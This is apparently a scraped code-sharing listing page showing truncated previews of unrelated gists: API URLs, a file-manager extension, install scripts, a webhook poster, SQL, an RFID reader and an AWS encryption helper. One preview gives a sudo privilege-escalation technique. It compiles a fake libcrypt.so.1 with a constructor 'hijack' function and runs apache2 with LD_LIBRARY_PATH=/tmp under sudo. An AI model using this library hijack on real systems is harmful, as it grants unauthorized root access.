- http://api.bcb.gov.br/dados/serie/bcdata.sgs.1234/dados?formato=csv
- http://api.bcb.gov.br/dados/serie/bcdata.sgs.27568/dados?formato=json&dataInicial=01/01/2010&dataFinal=31/12/2016
- http://api.bcb.gov.br/dados/serie/bcdata.sgs.27568/dados?formato=csv&dataInicial=01/01/2010&dataFinal=31/12/2016
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Compile with gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c | |
Use with sudo LD_LIBRARY_PATH=/tmp apache2 | |
When compiling, find any dependency of target binary and compile with the same name | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
static void hijack() __attribute__((constructor)); |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
''' | |
This snippet of code demonstrates how to create a class which | |
runs any method you want. Using metaprogramming, a generic method | |
is defined, and this method can call other methods or give a | |
default answer. | |
''' | |
class StrangeDog: | |
''' | |
I am not going to define a builder method here, as I want to |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import gi | |
from urllib import unquote | |
gi.require_version('Nautilus', '3.0') | |
from gi.repository import Nautilus, GObject | |
class OpenVSCodeHere(GObject.GObject, Nautilus.MenuProvider): | |
def __init__(self): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo apt update -y | |
clear | |
sudo apt install -y \ | |
libmysqlclient-dev \ | |
libmysql++-dev \ | |
libmysqlcppconn-dev \ | |
postgresql-server-dev-all \ | |
libpq-dev \ | |
unixodbc-dev \ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import json | |
import requests | |
import sys | |
bot_id = '' | |
token = '' | |
base_url = f'https://hooks.chime.aws/incomingwebhooks/{bot_id}?token={token}' | |
def post_message(msg): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
with dataset as ( | |
select | |
rc.country, | |
rc."date", | |
rc.cases, | |
lag(rc.cases,1) over(partition by rc.country order by rc."date") as yesterday_cases, | |
sum(rc.cases) over(partition by rc.country order by rc."date") as acc_cases, | |
rc.deaths, | |
lag(rc.deaths,1) over(partition by rc.country order by rc."date") as yesterday_deaths, | |
sum(rc.deaths) over(partition by rc.country order by rc."date") as acc_deaths |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import time | |
import serial | |
s = serial.Serial('/dev/ttyUSB0', 9600) | |
latest_tag = 0 | |
while True: | |
tag_bytes = s.read(14) | |
print(tag_bytes) | |
tag = int(tag_bytes.decode()[4:11], base=16) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import base64 | |
import boto3 | |
KEY = '12345678-abcd-efgh-ijkl-1234567890' | |
PROFILE = 'my-security-profile' | |
session = boto3.session.Session(profile_name=PROFILE) | |
def encrypt(secret, session=session, alias=KEY): |